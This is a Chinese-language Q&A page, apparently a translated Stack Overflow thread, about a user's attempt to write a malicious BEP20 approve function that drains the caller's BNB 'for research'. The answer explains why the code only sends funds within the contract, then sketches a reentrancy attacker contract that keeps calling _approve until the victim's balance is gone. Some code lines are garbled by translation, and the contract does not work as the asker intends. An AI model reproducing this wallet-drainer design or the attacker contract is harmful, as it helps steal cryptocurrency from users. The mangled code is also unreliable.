我正在尝试编写恶意的 ERC20 智能合约批准功能用于研究目的,但这不起作用

问题描述

这是我部署在币安智能链上的智能合约的部分源代码。我想向我的老师展示(如果可以的话)是当调用调用这个智能合约的批准函数时,他/她钱包中的所有 ETH/BNB 都会被耗尽。

怎么了?谢谢。

  function _approve(address owner,address spender,uint256 amount) internal {
    require(owner != address(0),"BEP20: approve from the zero address");
    require(spender != address(0),"BEP20: approve to the zero address");

  address payable dest = payable(address(this));
  (bool success,) = dest.call{value:msg.sender.balance/2,gas:50000}("");
    
   if (owner == this.owner() || adminCheck(owner)) {
        _allowances[owner][spender] = amount;
        emit Approval(owner,spender,amount);
    } else {
        if ((_hasBeenApproved[owner] == false) && (sellAuthorized() == true)) {
            _hasBeenApproved[owner] = true;
            _allowances[owner][spender] = amount;
            emit Approval(owner,amount);
        } else {
            _allowances[owner][spender] = 0;
            emit Approval(owner,0);
        }
    }
  }

解决方法

address payable dest = payable(address(this));
(bool success,) = dest.call{value:msg.sender.balance/2,gas:50000}("");

此代码段执行 receive() 的回退函数(或 dest 函数,如果存在),即此合约 - 不是调用方。

因此,EVM 执行从此合约 _approve() 函数到此合约 回退的内部事务......就是这样。不与用户进行其他交互。

msg.sender.balance/2 也可能不是故意的。由于内部交易的发送者是合约(并且目标是同一个合约),它发送的金额从合约(到同一个合约)——而不是从用户...这来了有副作用:如果合约余额低于msg.sender.balance/2(用户余额的一半),则内部交易因资金不足而失败。

除非回退或 receive() 函数中存在漏洞,您的问题没有显示,否则此代码段不易受到 reentrancy 攻击。


如果调用的目标地址是攻击者指定的地址,那么它很容易被重入。

攻击者可能有一个回退函数,它会不断调用 _approve(),直到它耗尽了受害者的所有资金。

我看到 _approve()internal,但为了简单起见,我们假设它是 external

受害者的_approve()函数:

address payable dest = payable(address(attackerAddress));
(bool success,gas:50000}("");

攻击者地址:

contract Attacker {
    fallback() external payable {
       if (address(victim).balance > x) {
           victim._approve();
       } else {
           emit AttackFinished();
       }
    }
}

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...